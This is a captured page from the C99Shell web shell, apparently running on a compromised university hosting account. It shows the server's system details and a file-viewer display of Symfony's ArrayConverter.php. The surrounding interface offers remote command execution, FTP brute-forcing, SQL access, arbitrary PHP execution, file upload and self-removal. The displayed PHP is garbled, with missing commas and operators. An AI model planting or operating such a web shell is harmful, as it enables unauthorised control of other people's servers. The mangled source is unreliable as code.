!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/symfony/translation/Util/   drwxr-xr-x
Free 116.86 GB of 200.55 GB (58.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ArrayConverter.php (2.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Translation\Util;

/**
 * ArrayConverter generates tree like structure from a message catalogue.
 * e.g. this
 *   'foo.bar1' => 'test1',
 *   'foo.bar2' => 'test2'
 * converts to follows:
 *   foo:
 *     bar1: test1
 *     bar2: test2.
 *
 * @author Gennady Telegin <gtelegin@gmail.com>
 */
class ArrayConverter
{
    
/**
     * Converts linear messages array to tree-like array.
     * For example this rray('foo.bar' => 'value') will be converted to array('foo' => array('bar' => 'value')).
     *
     * @param array $messages Linear messages array
     *
     * @return array Tree-like messages array
     */
    
public static function expandToTree(array $messages)
    {
        
$tree = array();

        foreach (
$messages as $id => $value) {
            
$referenceToElement = &self::getElementByPath($treeexplode('.'$id));

            
$referenceToElement $value;

            unset(
$referenceToElement);
        }

        return 
$tree;
    }

    private static function &
getElementByPath(array &$tree, array $parts)
    {
        
$elem = &$tree;
        
$parentOfElem null;

        foreach (
$parts as $i => $part) {
            if (isset(
$elem[$part]) && is_string($elem[$part])) {
                
/* Process next case:
                 *    'foo': 'test1',
                 *    'foo.bar': 'test2'
                 *
                 * $tree['foo'] was string before we found array {bar: test2}.
                 *  Treat new element as string too, e.g. add $tree['foo.bar'] = 'test2';
                 */
                
$elem = &$elemimplode('.'array_slice($parts$i)) ];
                break;
            }
            
$parentOfElem = &$elem;
            
$elem = &$elem[$part];
        }

        if (
is_array($elem) && count($elem) > && $parentOfElem) {
            
/* Process next case:
             *    'foo.bar': 'test1'
             *    'foo': 'test2'
             *
             * $tree['foo'] was array = {bar: 'test1'} before we found string constant `foo`.
             * Cancel treating $tree['foo'] as array and cancel back it expansion,
             *  e.g. make it $tree['foo.bar'] = 'test1' again.
             */
            
self::cancelExpand($parentOfElem$part$elem);
        }

        return 
$elem;
    }

    private static function 
cancelExpand(array &$tree$prefix, array $node)
    {
        
$prefix .= '.';

        foreach (
$node as $id => $value) {
            if (
is_string($value)) {
                
$tree[$prefix.$id] = $value;
            } else {
                
self::cancelExpand($tree$prefix.$id$value);
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0142 ]--